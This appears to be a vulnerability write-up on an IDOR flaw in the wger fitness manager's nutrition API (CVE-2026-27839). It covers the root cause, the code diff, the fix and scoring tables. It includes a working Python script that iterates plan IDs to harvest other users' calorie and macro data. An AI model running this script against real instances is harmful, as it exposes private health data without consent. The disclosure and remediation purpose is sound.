Feb 27, 2026·5 min read·3 visits
The wger fitness manager application failed to verify object ownership in its nutrition API endpoints. Developers used raw ORM lookups instead of framework-secure methods, allowing any logged-in user to iterate through database IDs and download the dietary habits (macros, calories) of every other user on the platform.
A classic Insecure Direct Object Reference (IDOR) vulnerability in the 'wger' workout manager allows authenticated users to access the nutritional plans of any other user. By bypassing Django REST Framework's object-level permission checks, the API serves up full macro breakdowns and caloric data for arbitrary IDs.
Privacy in fitness applications is a strange beast. Most people don't mind if their friends know they hit a personal best on the bench press, but they get a little squeamish when strangers know exactly how many calories they binged on a Tuesday night. wger is a popular, open-source workout manager that handles everything from gym logs to nutritional planning.
Under the hood, wger relies heavily on the Django REST Framework (DRF), a powerful toolkit that usually handles the boring security stuff—like making sure User A can't read User B's diary—automatically. It does this through a combination of permission_classes and querysets.
However, frameworks are only magical if you actually use their spells. In CVE-2026-27839, the developers decided to go rogue in the nutrition module. Instead of letting DRF handle the bouncers at the door, they wrote a custom action that kicks the door wide open for anyone with a valid login token.
The root cause here is a tale as old as time in the Django world: ignoring self.get_object(). When you are building a ViewSet in DRF, the framework provides a standardized way to retrieve a specific record based on the URL parameter (usually the primary key, or pk).
The secure method is self.get_object(). This method does three critical things:
get_queryset() method (which often limits results to the current user).IsOwner).The vulnerable code in wger/nutrition/api/views.py skipped all of that. The developer manually called the database using the raw Django ORM: NutritionPlan.objects.get(pk=pk). This is the equivalent of walking past the security guard and letting yourself into the archives. The application checks if you are logged in, but it never checks if you own the file you are pulling off the shelf.
Here is a visualization of the logic failure:
By querying the model directly, the code explicitly ignores the permissions policy defined on the ViewSet.
Let's look at the actual code diff. This is a textbook example of how a single line change switches an endpoint from "Open Season" to "Fort Knox".
The vulnerability existed in three separate endpoints: NutritionPlanViewSet, MealViewSet, and MealItemViewSet. Below is the diff for the nutritional_values action. Notice how the patch removes the direct model call and replaces it with the instance method.
> [!NOTE]
> The vulnerability resides in wger/nutrition/api/views.py.
# VULNERABLE CODE (Before)
@action(detail=True, methods=['get'])
def nutritional_values(self, request, pk=None):
# Direct DB access. No permission checks applied here.
plan = NutritionPlan.objects.get(pk=pk)
# ... logic to calculate macros ...
return Response(data)In the vulnerable version, NutritionPlan.objects.get(pk=pk) simply asks the database for the record with that ID. If it exists, it returns it. It doesn't care who request.user is.
# FIXED CODE (After)
@action(detail=True, methods=['get'])
def nutritional_values(self, request, pk=None):
# Secure access. Triggers check_object_permissions().
plan = self.get_object()
# ... logic to calculate macros ...
return Response(data)By switching to self.get_object(), the code forces DRF to run its internal security pipeline. If the get_queryset method filters by user (e.g., return NutritionPlan.objects.filter(user=self.request.user)), an attacker requesting someone else's ID will effectively get a 404 Not Found, because that ID doesn't exist within their scope.
Exploiting this is trivially easy. It requires no fancy injection techniques, no heap manipulation, and no race conditions. It is a simple iteration attack (IDOR).
Prerequisites:
wger instance (registration is often open).The API exposes the nutritional_values endpoint. An attacker simply needs to increment the integer ID in the URL to dump the database.
import requests
# Target: A vulnerable wger instance
TARGET = "https://wger.example.com"
TOKEN = "Token 7483a..." # Attacker's token
def steal_macros(start_id, end_id):
headers = {"Authorization": TOKEN}
print(f"[*] Starting harvest from ID {start_id} to {end_id}...")
for pk in range(start_id, end_id):
# The vulnerable endpoint
url = f"{TARGET}/api/v2/nutritionplan/{pk}/nutritional_values/"
try:
r = requests.get(url, headers=headers)
if r.status_code == 200:
data = r.json()
calories = data.get('energy', 0)
protein = data.get('protein', 0)
print(f"[+] VICTIM FOUND (Plan {pk}): {calories}kcal, {protein}g Protein")
# Full JSON contains: carbs, sugar, fat, sodium, fiber, etc.
elif r.status_code == 404:
pass # ID doesn't exist
else:
print(f"[-] Error accessing {pk}: {r.status_code}")
except Exception as e:
print(f"[!] Connection error: {e}")
if __name__ == "__main__":
steal_macros(1, 1000)The Output: The script will output a list of valid nutrition plans. While this doesn't dump the user's password or email directly in this specific endpoint, it leaks highly personal health data. Furthermore, effectively iterating IDs allows an attacker to estimate the total user base size and activity levels of the platform.
The fix was applied in commit 29876a1954fe959e4b58ef070170e81703dab60e. As discussed, the remediation is straightforward: stop writing raw queries inside ViewSet actions.
For Developers:
If you are using Django REST Framework, memorize this rule: If you are inside a ViewSet and you need the object identified by the URL's PK, always use self.get_object().
If you absolutely must use a custom query (perhaps for performance reasons, though unlikely for single-object lookups), you must manually invoke the permission checks:
obj = MyModel.objects.get(pk=pk)
self.check_object_permissions(self.request, obj)However, using self.get_object() is cleaner because it also respects the base queryset filtering. If your base queryset is User.objects.filter(id=request.user.id), using get_object() automatically handles the "ownership" check without needing explicit permission classes, simply because the object won't be found in the filtered list.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
wger wger-project | <= 2.4 | Commit 29876a1954fe959e4b58ef070170e81703dab60e |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-639 (IDOR) |
| CVSS v3.1 | 4.3 (Medium) |
| Attack Vector | Network (Authenticated) |
| Impact | Confidentiality Loss (Low) |
| Affected Component | NutritionPlanViewSet |
| Exploit Status | PoC Available |
Authorization Bypass Through User-Controlled Key